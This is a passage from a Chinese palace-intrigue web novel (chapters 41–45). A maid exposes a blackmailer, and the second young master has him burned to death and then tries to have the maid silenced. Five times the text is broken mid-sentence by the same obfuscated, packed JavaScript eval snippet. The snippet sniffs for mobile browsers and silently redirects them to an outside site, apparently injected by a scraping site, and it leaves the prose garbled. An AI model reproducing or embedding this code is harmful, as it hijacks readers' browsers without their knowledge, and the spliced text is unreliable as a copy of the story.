泪光模糊中，她看见了千雪那张熟悉的脸。显然，刚才的一切都被看见了！ “完了……！” 杜鹃脑中一片空白，脸上瞬间失去血色。 千雪冷冷地开口，“你偷了主子的东西典当给这种人？” “不是！我没有！”杜鹃下意识地急声争辩，声音带着哭腔。 苏红缨立刻上前一步，语速又快又利，“不是什么？不是偷东西还是不是给他钱？我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026701|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们可都看见了！你从当铺拿了银票，转头就给了他！” “对，”千雪紧盯着杜鹃慌乱的眼睛，步步紧逼，“看得清清楚楚，人赃并获，还有……”她朝苏红缨示意了一下，“证人。” “我亲眼看着你把钱给他的！”苏红缨立刻接口道。 “不是偷东西…呜呜呜…千雪，真不是你想的那样…”杜鹃紧绷的神经，她再也忍不住，“哇”的一声大哭起来，整个人几乎瘫软在地。 “不是偷东西，那就是主子让你这么做的？或者……”千雪敏锐地捕捉到她话里的漏洞，放缓了语气，带着一丝试探，“是小姐被这个人骗了？” 这句话让杜鹃的哭声猛地一滞，她抬起满是泪水的脸，震惊的看着千雪。 被说中了！ 千雪和苏红缨对视一眼，心中了然。千雪蹲下身，不再咄咄逼人，声音压低了些，“说吧，到底怎么回事？那个人是谁？” 在千雪的目光下，杜鹃彻底崩溃，她抽噎着，断断续续，终于将隐藏的秘密说了出来。 原来，三小姐吴玉颜前些日子偷偷溜出府参加了一个诗会。在那里，她遇见了这个名叫孟淼的男子。孟淼谈吐风雅，气度不凡，吴玉颜一时恍惚，竟将他误认作左相家的小公子。孟淼察觉到她的误会，非但没有澄清，反而顺势假扮，与吴玉颜私下往来起来。 情窦初开的吴玉颜渐渐倾心，不仅私下赠送了自己的贴身绣帕，荷包，甚至还写过几封信笺。谁知不久之后，孟淼突然翻脸，亮明了自己的真实身份一个混迹市井，沽名钓誉的骗子。他拿出了那些信物，以此为要挟，开始向吴玉颜勒索钱财。 吴玉颜又惊又怕，怕丑事暴露被父母严惩，更怕坏了名节。她不敢声张，只得偷偷把自己积攒的私房钱，甚至一些不太起眼的首饰给了孟淼。可这孟淼贪得无厌，每次都说再给最后一次，这次钱够数就把东西全还你，胃口却越来越大。眼看自己的积蓄即将见底，而孟淼还在不断索要，无奈之下，吴玉颜只得咬牙将比较贵重，平时不太戴的首饰交给杜鹃，让她悄悄典当了换钱。 千雪听完，只觉得一股气堵在胸口。这孟淼，表面装得知礼，实则是个下作无耻的骗子！堂堂国公府的三小姐，竟然被这么一个卑鄙小人玩弄于股掌之中！ 41.第四十一章 谁出的主意 次日天色未明，杜鹃就顶着两个浓重的黑眼圈起身了。这一夜，她辗转反侧，几乎未眠。脸上的掌痕依旧刺痛，心头的惊悸也未平复。她仔细收拾好三小姐亲手挑选的两样精致时新点心，揣着一颗七上八下的心，早早赶往国子监。 国子监门庭森严，杜鹃报上国公府的名号，又恳求了好一会儿守门人，才终于有人进去传话。 等待的时间对杜鹃来说如同煎熬。 没过多久，二公子吴景舟的身影出现在门口。 他穿着一身青色的国子监生服，身姿挺拔如修竹。 乌发一丝不苟地用玉冠束起，露出光洁饱满的额头。面容清俊，剑眉斜飞入鬓，鼻梁挺直。那双深邃的眼眸看过来时，平静无波，带着远超同龄人的沉稳。 “什么事？”吴景舟低沉清朗的声音响起，没什么情绪，目光落在杜鹃怀里的点心匣子上。对于这个一向娇气任性，不怎么愿意麻烦自己的亲妹妹忽然派人送东西来国子监，他心下已有几分疑虑。 “二少爷，”杜鹃连忙行礼，心脏怦怦直跳，强自镇定道，“小姐……小姐吩咐奴婢来给您送些新制的点心。小姐还说……”她深吸一口气，几乎不敢直视吴景舟那仿佛能看透一切的眼神，声音低了下去，“府里……近来有些许烦心事，小姐心中惶惑不安，六神无主……想请您方便时务必回府一趟，私下……私下指点她一二。” 吴景舟的眼神几不可查地凝了一下，烦心事？需他私下指点？这绝不符合吴玉颜的性子。她遇事要么躲，要么硬闯，几时学会指点二字怎么写？况且特意让人来国子监传话…… 他心中疑窦丛生，面上却依旧沉稳。没有多问，只微微颔首，“知道了。点心留下，回去告诉三妹，我下午告假回去一趟。” “是！奴婢告退！”得了吴景舟的准话，杜鹃如蒙大赦，放下点心匣子，几乎是落荒而逃，头也不敢回。 果然，下午未时刚过，吴景舟的身影便出现在了国公府内。他没有声张，径直去了妹妹吴玉颜居住的清荷院。 吴玉颜早已在自己的绣楼内坐立不安。见到冷着脸走进来的哥哥，她眼眶一红，积压了许久的恐惧和委屈瞬间爆发，“哇”的一声就哭了出来，扑倒在桌案上，肩膀随着她的哭声一抖一抖剧烈抽动。 吴景舟没有像往常一样斥责她失态，只是静静地看着她哭。吴玉颜哭累了，便直起身子，撅着嘴一副受了天大委屈的模样。 吴景舟的目光扫过吴玉颜，没有放过妹妹脸上任何一丝细微的变化，恐惧，慌乱，无助，绝望，这些都太过了，绝不是寻常的闺阁烦恼。 他等吴玉颜哭声稍歇，才冷冷开口，“说吧，惹了什么麻烦？惹到什么人了？” 吴玉颜在他的逼视下，所有的侥幸和无措都无所遁形。 她断断续续，抽噎着，终于将如何遇见孟淼，如何被骗，被勒索，被迫典当首饰，直到昨日孟淼翻脸无情打伤杜鹃强夺银票，以及那狮子大开口的几千两威胁，都哆哆嗦嗦的讲了出来。 吴景舟听着，脸上的表情几乎没有太大变化，依旧沉静，只是那双眼眸里，寒意越来越重，脸色也越来越难看，直到吴玉颜说完，捂着脸泣不成声。 空气中只剩下压抑的抽泣声，良久，吴景舟才放下手中那杯微凉的茶，缓缓开口，声音平静得可怕，“那个混账孟淼的落脚之处，摸清了？” 吴玉颜含泪点了点头，杜鹃连忙补充道，“回二少爷，奴婢……奴婢知道，。” “嗯。”吴景舟轻轻应了一声，骤然转向跪在一旁的杜鹃。 “杜鹃，这件事，从头到尾，你觉得你家小姐做得如何？” 杜鹃冷不防被问及此，浑身一颤，头埋得更低，“奴婢，奴婢不敢。” “是不敢说，还是觉得她愚蠢轻信，自取其祸？”吴景舟的语气陡转直下，直刺要害。 杜鹃吓得身子一抖，“奴婢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033511|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敢！小姐，小姐也是被那恶人蒙骗。” “你还有别的要说的吗！”吴景舟猛地截断她的话。 杜鹃摇头，跪伏在地 “小姐涉世未深，轻信他人，固然有错。但我问你，昨日事发之后，让她来找我这个兄长求助，这个应对的主意，是你自己想出来的？” 杜鹃猛地抬头，对上那双仿佛能洞悉一切的眼睛，心中慌乱。 她张了张嘴，想说是，可在那双眼睛的注视下，谎言根本说不出口，她下意识地看向同样被吓呆的吴玉颜。 “想清楚了再回答。”吴景舟端起茶碗，慢条斯理地用杯盖撇着浮沫，动作优雅，可那股寒气压得杜鹃喘不过气，“你在我府中多年，几斤几两，我吴景舟还算清楚。以你之愚钝莽撞，绝想不出此等应对之法，也绝无这等直接找上我的胆量，说！是谁教你的？是谁在背后指点你？” “奴婢，奴婢…”她张着嘴，喉咙发干，恐惧的泪水再次涌出。 “想撒谎？”吴景舟的声音陡然变的更加冷厉，字，“在我面前？” 最后四个字轻飘飘的，却很有分量。 “不敢！奴婢不敢！”她猛地抬头，几乎是喊了出来，“是……是四小姐身边的千雪姑娘！是她！昨日……昨日在巷子里撞破……是她教奴婢这么做的！求二少爷明鉴！求二少爷明鉴啊！”她一边哭喊，一边砰砰地磕头，悔意，恐惧，还有对千雪的愧疚一起涌上来。 “千，雪？”吴景舟眉梢轻轻一挑，重复了一遍这个名字，这个名字他隐约有些印象，似乎是个沉稳得体的丫鬟。 他面上没有显露太多情绪，微微颔首，“知道了。”随即，他的目光扫过哭得上气不接下气的吴玉颜和抖成一团的杜鹃。 “好了，此事，到此为止。府里任何人，包括母亲那儿，嘴巴都给我闭严实了，在不许提，可还有人知晓你们和孟淼有来往？” 吴玉颜和杜鹃齐齐摇头。 42.第四十二章 敲打 几日后，一个寻常的下午。芳华院里一片寂静，四小姐吴玉瑶正倚在窗边翻看账本，小橘在旁侍候着。 门外响起小丫鬟的通报，“小姐，清荷院的杜鹃姑娘来了。” 吴玉瑶抬起眼，有些诧异，她和三姐吴玉颜的关系历来平平，井水不犯河水，对方的心腹丫鬟突然上门做什么？ 只见杜鹃拎着个精致的攒盒，笑着走进来，福身行礼，“四小姐安好。三小姐前日得了些襄州新送来的上好蜜饯红梅，想着这蜜饯味儿足，解腻，给各院都分了些尝尝鲜。特意让奴婢给四小姐也送一盒来。” 杜鹃说着，将盒子放在桌上打开，里面是几小罐色泽鲜亮的蜜饯，看起来确实诱人。 吴玉瑶的目光在蜜饯上顿了顿，心思却转了起来。送蜜饯？示好？还是… 她没做声，只点了点头，“三姐姐有心了，替我谢过。” “四小姐客气了。”杜鹃笑容不变，应了一句，却似乎突然想起什么，轻轻拍了拍额头，带着点懊恼，“哎呀，瞧奴婢这记性！来时三小姐还让带一匹新得的苏杭料子，说是颜色雅致，配四小姐正合适。奴婢这糊涂东西，竟落在廊下忘拿了！” 她转向侍立在吴玉瑶身后的千雪，笑得热络，“千雪姐姐，劳烦你随我去清荷院一趟取一下吧？就在廊下，耽误不了多少时候。” 吴玉瑶眉头微不可查地蹙了一下，送蜜饯不算，还送料子？吴玉颜什么时候跟她这么热络了？ 她语气淡淡地开口，“既是落在清荷院了，小橘随你走一趟便是，顺道把前儿我得的几对新鲜绢花也带给三姐姐，就当我回礼。”说着朝小橘示意了一下。 小橘立刻应声，准备跟杜鹃走。 谁料杜鹃却连连摆手，脸上笑容带了几分急切，“使不得使不得！四小姐，那料子精贵着呢，奴婢怕她一个人手滑。还是让千雪姐姐陪奴婢去吧，她做事稳妥，奴婢也好安心。”说完，还悄悄朝千雪挤了挤眼睛，那眼神分明有异。 千雪一直静静看着，心下早已疑云密布。蜜饯，料子？这借口找得突兀又刻意。再加上杜鹃那个小动作…… 她脑中念头急转，是吴玉颜要私下见我？她知道了是我出的主意？杜鹃那个沉不住气的，难道把我卖了？ 念头只是一闪而过，千雪面上平静无波，上前一步，对吴玉瑶从容道，“小姐，无妨。奴婢腿脚快，随杜鹃姑娘跑一趟便是，料子拿了就回，顺道把小橘妹妹要送的绢花也带过去。”这话既应了吴玉瑶的安排，也给了自己前往的理由。 吴玉瑶看着千雪平静的脸，又瞥了眼眼神有些闪烁的杜鹃，终究没再多说什么，只“嗯”了一声，算是应允了。 千雪便随着杜鹃走出芳华院。 路上，千雪看着脚步略快，心事重重的杜鹃，心下更沉了几分，她试探，“杜鹃，到底怎么回事？真是三小姐要见我有话吩咐？” 杜鹃脚下不停，眼神飘忽，支吾道，“千雪姐姐到，到了就知道了。反正，不是什么坏事……”她言语含糊，前言不搭后语，更印证了千雪心中的猜测。 千雪一颗心直往下沉，杜鹃这反应，绝不是去见吴玉颜那么单纯！她心里那点不详的预感越来越强。 脚步匆匆，转眼就到了清荷院门口。院子里静悄悄的，不像寻常午后洒扫走动的光景。 杜鹃径直将千雪领到上次吴玉颜哭诉的偏厅门外，那扇门紧闭着。 “千雪姐姐……您……您请进吧。”杜鹃停在门外，声音有些发颤，眼神根本不敢看千雪。 到了这一步，千雪反倒冷静下来。她深吸一口气，没再犹豫，伸手推开了那扇紧闭的雕花木门。 门轴发出“吱呀”一声轻响。 厅内光线明亮，陈设依旧，却异常安静。 然而，就在那正中央的红木圆桌旁，赫然放着一匹布料——正是杜鹃口中那“新得的苏杭料子”，一匹天青色的暗云纹提花绸缎，端端正正放在桌上。 但布料并不是重点。 重点是，那偌大的偏厅里，只有一人！ 那人背对着门口，身姿颀长挺拔如竹，身着简单的靛青色细布长衫，乌发整齐地束在玉冠中。他原本看着窗外，听到推门声，缓缓转过身来。 正是二公子，吴景舟！ 他面色平静无波，眼神却深沉得如同寒潭，此刻正穿透空气，直直地落在了刚刚进门的千雪脸上。 “好家伙……”千雪心中咯噔一声，暗骂一声杜鹃的嘴巴果然像破了洞的筛子，半点不牢靠！吴景舟那张覆着寒霜的脸上，分明写着来者不善四个大字。 她面上不敢显露分毫，硬着头皮，低眉顺眼地敛衽上前，深深一福礼，声音平稳无波，“奴婢千雪，给二公子请安。” 吴景舟静立原地，就这么冷冷地打量着千雪。 片刻，他忽然开口。 “你猜猜，”他语气平淡得像在谈论天气，“那个叫孟淼的蝼蚁，我如何处置了？” 千雪心头一凛。这 猜？怎么猜？猜中了，证明她心思深重，对这等灭口之事也有涉猎？猜不中，显得她愚钝，更可能被认为是在装傻？横竖都是坑。 千雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038204|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把头更低了些，“二公子心智卓绝，思虑周全远超奴婢想象。此等宵小之辈，扰乱我国公府门庭，如何处置，二公子定有妙计良方，非奴婢所能妄加揣度。奴婢只知，二公子所为，必是护府周全的万全之策。”只夸，不猜。强调他是为了护府，自己不懂。 “护府周全？说得好。”他缓缓踱步，靠近一步，千雪压力更重了几分。 “最稳妥的妙计，自然是让知道真相的东西……永远闭上嘴。” 他顿了顿，目光掠过千雪瞬间变得有些紧绷的指尖。 “只有死人，才最是安稳，半点风声也透不出来。” 随即，他仿佛不经意地补充了一句，“近日天干物燥，京中走水时有听闻，那片老旧房舍，砖木结构，尤其容易出事，一旦起了火，烧得干干净净，连带着，藏在里面的老鼠，也得烧成一把灰烬。倒也算是，干干净净。” 千雪只觉得一股寒意从脚底板直冲天灵盖！ 城西！老旧房舍！烧成灰烬！ 她已完全明白，那个混混孟淼，连同他敲诈勒索的所有证据，恐怕都已经在二公子的安排下，化作废墟里的焦炭了！ 狠！真狠！也真干净利落！ “二公子深谋远虑，二公子放心，奴婢自知轻重。今日之事，无论听到什么，看到什么，在踏出这道门之前，就已尽数忘却！出了这清荷院，奴婢只记得替四小姐取了一匹上好的料子，其余诸事，一概不知！” 我都这样说了，你该不会还抓着不放吧，千雪心里忐忑。 吴景舟沉默地审视着她，良久，才平静开口，“知道轻重……很好。” “起来吧。” “谢二公子。”千雪直起身，依旧垂着眼。 吴景舟走到桌边，拿起那个装蜜饯的盒子，在指尖转动两下。 “襄州蜜饯，”他看着盒子，语气寻常，“据说是野梅腌渍，味道酸，但回味甘，解暑。” 千雪谨慎应和，“二公子见识广博。” 吴景舟停下动作，将攒盒递到千雪面前，“滋味虽好，吃多了却容易反酸伤胃，得不偿失，赏你了。” 她立刻双手接过沉甸甸的漆盒， “奴婢谢二公子赏。” 吴景舟眼神微动，随即平淡转身，“去吧。带上料子。记住你的说辞——给四小姐取料子。” “是！奴婢告退！”千雪立刻应声，拿起那匹料子，将那盒烫手的蜜饯收好，转身快步退出偏厅，不敢多留一刻。 直到走出清荷院，冷风一吹，她才松口气，捧着料子疾步回芳华院。 43.第四十三章 灭口 回到芳华院，四小姐吴玉瑶正歪在榻上看书，抬眼瞧见千雪抱着匹料子进来。 “料子取回来了？”吴玉瑶语气淡淡。 “是，小姐。”千雪把那匹青色云纹绸放在桌上铺开，尽量让语气自然，“您瞧瞧，这料子的颜色和暗纹确实雅致，三小姐的眼光是好的。”她一边说，一边小心留意着小姐的神色。 吴玉瑶放下书卷，走到桌前，手指拂过那光滑微凉的绸缎，目光却转向千雪，带了几分探究，“清荷院那边……就只是取了这料子？”她顿了顿，终究还是没忍住心底那点疑惑，“我看杜鹃那丫头，古里古怪的。” 千雪就知道小姐会问她知道这位主子心思透亮，人也明白，不是那种会胡乱猜忌，惹事生非的性子。 千雪没打算全瞒着，但也不能把要命的实情捅出来。她走到吴玉瑶身边，微微压低声音，拣了能说的部分，“小姐明察秋毫，确实是……遇到点事。杜鹃那丫头在外面惹上点麻烦，慌得六神无主，正巧被我撞见。奴婢想着，她那性子莽撞，闯祸是小，万一连累府里的名声事大。看她实在可怜，就给指了条路……” 吴玉瑶微微挑眉，示意她说下去。 “……让她去求二公子。”千雪说得很轻，但很清晰，“二公子到底是三小姐的亲兄长，管束妹妹，处置麻烦，都名正言顺，也最有办法，事情……想来二公子已经妥善料理了。”她隐去了孟淼之死的关键信息。 吴玉瑶听完，眼神闪烁了一下。她能想象二公子处置意味着什么，那定然干净利落，不留后患。她看着千雪沉稳的脸，点了点头，语气平和了许多，“原来如此，你向来心细，又顾全大局。想来经此一事，三姐姐那边也能消停些，少生些事端。”她没有追问千雪具体看到了什么，帮了什么忙。在她看来，千雪一向聪慧有分寸，既然选择了这个说辞，就必定有她的道理，总归不是害她。 千雪心头微松，知道小姐信了她，且无意深究，“小姐说得是。” 晚些时候，千雪正抱着几匹夫人赏下的料子回芳华院，去库房登记，准备明日给小姐选样子做新衣。刚从锦居出来，沿着蜿蜒的回廊往回走，刚经过僻静小院角落那个不大的荷花池边。 此刻夜幕低垂，回廊两侧挂着的灯笼光线昏黄，勉强照亮石板路，池边的假山和芭蕉树影影绰绰。春寒料峭，池水泛着寒气。 千雪正想着心事，忽觉身后冷风骤起！一道凌厉的破空声从背后偷袭，直斩她颈后要害，目标精准，意图打晕！ 千雪似有所感，在这万分危机的关头，身体猛地向前一扑，就地就是一个狼狈却实用的懒驴打滚！ “呼——！”一只戴着黑色皮手套的手刀，狠狠劈在了她刚才站立的空气里！力道之大，带起的风声都清晰可闻！ 那袭击者显然没料到这深宅大院的丫鬟会有此一招！劈空的动作让身体重心前倾，有了瞬间的迟滞。 千雪滚倒在地，浑身沾了泥土，却在翻滚卸力的同时，双脚蹬地，借势向后疾退，迅速拉开了距离！她心跳如擂鼓，浑身血液都冲到了头顶，眼神死死锁定了那蒙着脸，只露出一双冰冷眼睛的灰衣人！ 两人隔着一丈多的距离，在昏黄的灯光下于池畔对峙。 灰衣人的眼中充满了难以置信的惊愕，这任务怎么会失手？目标怎么会有身手？！ 千雪后背冷汗涔涔，寒意刺骨！刚才那一下若是挨实了，此刻自己怕是已经成了池中一具浮尸！ 黑衣人见计不成，不留恋，迅速逃走。 千雪站在原地，大口地喘着粗气，冷风一吹，激灵灵打了个寒颤。她扶着廊柱，手心一片冰凉，后怕的看着那泛着幽光的池水。 这人是谁派来的，她心中已经有了计较，吴景舟！ 这个二公子真的狠！什么知道轻重就好！还找人来灭口自己！千雪是真的无语，自己好歹算是言语点醒了杜鹃，救了三小姐一回，他居然想要自己的命！ 另一边，外院，窗棂外传来一声轻如落叶坠地的嗒声。 吴景舟正拿着一卷书坐在灯下，闻声头也未抬，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046584|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说。” 一道灰影出现在角落，来人单膝点地，声音带着点不安，“主子……失手了。” 吴景舟翻动书页的手指几不可查地停住了，他没有抬头，声音低沉平静，“说清楚。” “属下隐于芳华院池塘边僻静处，那丫鬟路过时，属下方才出手，时机，角度皆是万全。”灰衣人语速不快，带着一丝难以置信，“可就在将要得手之际，她，她竟像是早有防备！” 吴景舟的目光依旧落在书页上，但捏着书页边缘的手指微微收紧，“哦？” “并非察觉风声！是身体！”灰衣人语气肯定，回忆着池边的一幕，“她矮身侧避的动作精准，迅捷！绝不可能是随意一避，更像，训练过！” 灰衣人顿了顿，补充道，“短促交手后，她拉开距离紧盯属下，目光警惕，已经有所防备。属下唯恐暴露身份，惊动旁人，只得立刻撤离！” 灰衣人说完战战兢兢的低下头，主子派他灭口一个小小丫鬟本来是轻而易举，谁曾想出了这等纰漏。也是他轻敌。 “啪。” 一声轻微的碰撞声响起，是吴景舟手中的书卷随意地搭在了旁边的茶盏盖上。 他终于缓缓抬起了眼，第一次正眼看向跪在阴影里的灰衣人，“你的意思是……她凭借身手，躲过了你的突袭？” 灰衣人的头垂得更低，“是……属下无能！但那丫鬟的反应……确非寻常！” 吴景舟没有说话，一个身份低微的丫鬟……有身手？能在他精心安排，有身手的护卫执行的灭口中全身而退？ 这怎么可能？！ 这个丫鬟居然会功夫。 良久，吴景舟才极缓地开口，声音带着一种疑惑和更深的兴味， “身手……呵，看来……我们倒是小瞧了这位千雪姑娘。” “知道了，你先下去。” “是。” 灰衣人再次无声地融入黑暗消失。 吴景舟独自坐在灯下，看着那杯盖上的纹路，这个丫鬟有趣。 44.第四十四章 警告 池畔夜风带了寒凉，拂过面颊。千雪扶着廊柱站定，看向灰衣人消失的方向，黑暗中只余一片空茫。 不能再退了，退让，只会换来更深的绝境。 千雪深深吸了口气，压下喉头的不适和衣上沾染的尘土。她迅速理了理微乱的鬓角和衣袖，没有选择回芳华院，而是脚步一转，朝着另一个方向——清荷院走去。 清荷院里，灯影昏黄。杜鹃正侍候着吴玉颜梳洗，两人显然还未从方才的惊吓中平复。吴玉颜眼圈红肿，失魂落魄地缩在椅中，杜鹃脸上面无人色。 千雪踏入房中，吴玉颜几乎是下意识地往椅子里更深地蜷了蜷，眼中带着一丝难堪，一想到自己被孟淼那厮骗了的事，千雪知道，她就臊的慌。 杜鹃看到千雪，手一抖，险些打翻了手中的铜盆，心虚的不敢看她，这人怎么就找上了门？ 千雪的目光越过吴玉颜，径直落在杜鹃身上。 “杜鹃，立刻去清风阁。二公子在等你，”她顿了顿，话语里的意味陡然加重，“有要紧事吩咐。” 二公子？等着她？是嫌她办事不力？还是？她不敢想腿一软就要瘫倒。 千雪冷笑了一声，上前一步，贴近她耳畔：“怕什么？不过是叫你传个话。告诉二公子，我方才在荷花池边脚下不慎，险些栽进去。幸而老天垂怜，没叫我真落水。你替我说，我千雪是想活命的，这张嘴也严实得很。只要再没人不小心把我往水里推，或是碰上别的什么意外，我自然把该守的全都咽进肚子里。可若再有那么一次失足，或是别的意外” 千雪的声音带着威胁的意味，“那我只好去夫人跟前，仔细说说，孟家公子是怎么不小心把自己烧死在家里的。” 杜鹃的脸霎时褪尽了血色。 吴玉颜闻言亦是惊得几乎失声！她猛地抬头看向千雪，又看看抖若筛糠的杜鹃，眼中全是难以置信，二哥居然要千雪的命。 孟淼的事就在眼前，二哥的手段……她是真怕了！她没敢出声阻拦，甚至微微点了点头，示意杜鹃快去。 “是是！奴婢…奴婢马上去！”杜鹃几乎是滚爬着出了门，身影踉跄地没入夜色，直奔外院清风阁。 清风阁外，吴景舟负手立于廊下，一弯冷月悬在天边。 急促紊乱的脚步声撕裂夜色。吴景舟眉峰微蹙，这绝非他手下该有的动静。 果然，杜鹃几乎是扑跌到他脚下的石阶，抖得不成样子，语不成调：“二，二少爷，千雪，她…她说……” “你慌什么，好好说话。” 杜鹃强迫自己稳住气息：“千雪姑娘说她池边失足，没掉下去。说她真心想活命，她的嘴紧得很，可是，她说若再有什么意外落水，或是别的意外。她只能去见夫人，说说孟淼，是怎么意外烧死在自家的！” 他的目光缓缓压下，看着地上匍匐的杜鹃：“她一字一句，如此说的？” “字字属实！奴婢不敢有半字虚言！”杜鹃叩头如捣蒜。 一个府里的丫鬟，一只他碾死易如反掌的蝼蚁在他设下的死局中生还后，没有仓惶逃窜，没有摇尾乞怜，竟反手威胁他！ 这绝不是寻常一个丫鬟该有的应对！ 这个叫千雪的，已不再是一件需要立即清除的威胁，一个让他不得不重新审视、重新评估的，活生生的麻烦。 他略一抬手：“下去吧。” “谢二少爷！”杜鹃如蒙大赦，连滚带爬地逃走了。 吴景舟独立廊下，隐在灯光与暗影的交界处。月光偶尔漏下，在他脸上投下明暗。 杀了她，永绝后患仍是上策。但此刻，他似乎不急了。他突然很想看看，这个敢向他掷回石头的小丫鬟，接下来能做什么？她还知道些什么？ 那点暂时的兴致，暂时盖过了立刻的杀心。 接下来的几天，出乎意料地风平浪静。 没有突如其来的意外，没有可疑的窥探，甚至连吴景舟那边的人影都未曾再见到。那份紧绷到极致的窒息感似乎真的暂时退却了，仿佛那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053470|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荷塘边幽冷的夜晚从未发生。 这份过分的平静，反而让千雪更加坐立不安。她像一只惊弓之鸟，走路时永远眼观六路耳听八方，值夜时神经高度紧绷，风吹过树叶的声音都像脚步声。入口的东西更是小心再小心，宁愿饿着肚子等厨房新鲜出炉的热食，也绝不动那些可能存放过的冷食点心。 这种草木皆兵的状态，连四小姐吴玉瑶都察觉到了异常。 这日午后，暖阳透过雕花窗棂洒进来。吴玉瑶歪在临窗的榻上翻看一本诗集。 吴玉瑶抬起眼，目光落在千雪明显带着疲惫和一丝恍惚的侧脸上。她放下书卷，轻轻叹了口气，“千雪，你这几日……是不是夜里睡得不安稳？瞧着气色有些差。” 千雪心头一紧，强颜欢笑道，“谢小姐关心。奴婢没事，大概是春困吧。” 吴玉瑶摇摇头，声音温婉，“你在我身边也有段日人，我还看不出来？可是有什么烦心事？还是身子不爽利？若有不自在，让厨房给你熬碗安神汤，歇半日也无妨。” 她看着小姐温和的眼眸，犹豫了片刻，一种想要倾诉却又无法言明的苦闷堵在心口，她声音尽量放得平缓，装作不经意地问道。 “小姐奴婢只是有些好奇，那日去清荷院给三小姐送料子，见三小姐她似乎特别怕二公子？”她小心翼翼地措辞，“这府里的少爷小姐们瞧着都挺敬重二少爷的？” 吴玉瑶闻言，放下书卷，她下意识地看了一眼门口，才压低声音，“二哥啊…”她顿了顿，似乎在组织语言，“他的性子是有点特别，跟大哥不一样。” 提起远在边关的大哥吴景元，吴玉瑶脸上浮现一丝轻松的笑意，“大哥虽说在军中，平日里也严肃，但人实在，心也直，待我们这些弟妹都是真心实意的好，像个可靠的长兄。可二哥……”她的声音更轻了些，甚至不自觉地带了点缩肩的小动作，“二哥他从小就聪明得吓人。心思太深，太沉了。我们几个和他都不甚亲近，甚至有时候我觉得父亲都有些看不透他。” 45.第四十五章 进香 吴玉瑶微微蹙起秀眉，似乎努力想找一个更贴切的形容词，“二哥不是那种会像府里其他管事的叔叔伯伯那样大声呵斥人，或者棍棒责罚的厉害。二哥他，他看人的眼神，有时候……” 吴玉瑶想起吴景舟那双幽深沉静的眸子，没来由地打了个冷战，“有时候就那么静静地看着你，没什么情绪，却让人心里发毛，仿佛什么都瞒不过他，他什么都知道连你下一句要撒谎的话都能提前猜出来似的！而且……” 吴玉瑶的声音带上了几分忌惮，“他要是真想做什么事，手段从来都干净利落，结果也总能按着他的意思来。谁要是惹了他，或是挡了他的路……”她咽了下口水，没把话说完，只是轻轻摇了摇头，眼底的惧意明显，“总之，咱们府里上上下下，除了父亲母亲，谁不有点怵他？玉颜姐最怕的，大概就是这个亲二哥了。” 吴玉瑶说着，一脸认真地看向千雪，带着真心实意的叮嘱，“所以千雪，你平日里做事稳当我是知道的。但要是万一，我是说万一，有什么事可能沾上二哥的边，能绕开就绕开，千万别去招惹他，记住了没？” 千雪听着，只觉得一股冷气从脚底板直窜到天灵盖，心沉到了谷底。 “不太好” 这三个字轻飘飘的，却让她心头一沉，再结合亲妹妹口中描述的“心思深”，“眼神瘆人”，“手段干净利落”，“惹他的人下场不好”，千雪欲哭无泪。 她当初一时心软，插了杜鹃和吴玉颜那档子破事，可不就是实打实地招惹了他？撞破了他亲妹妹的事，还知晓了他灭口孟淼的事。 “晚了……” 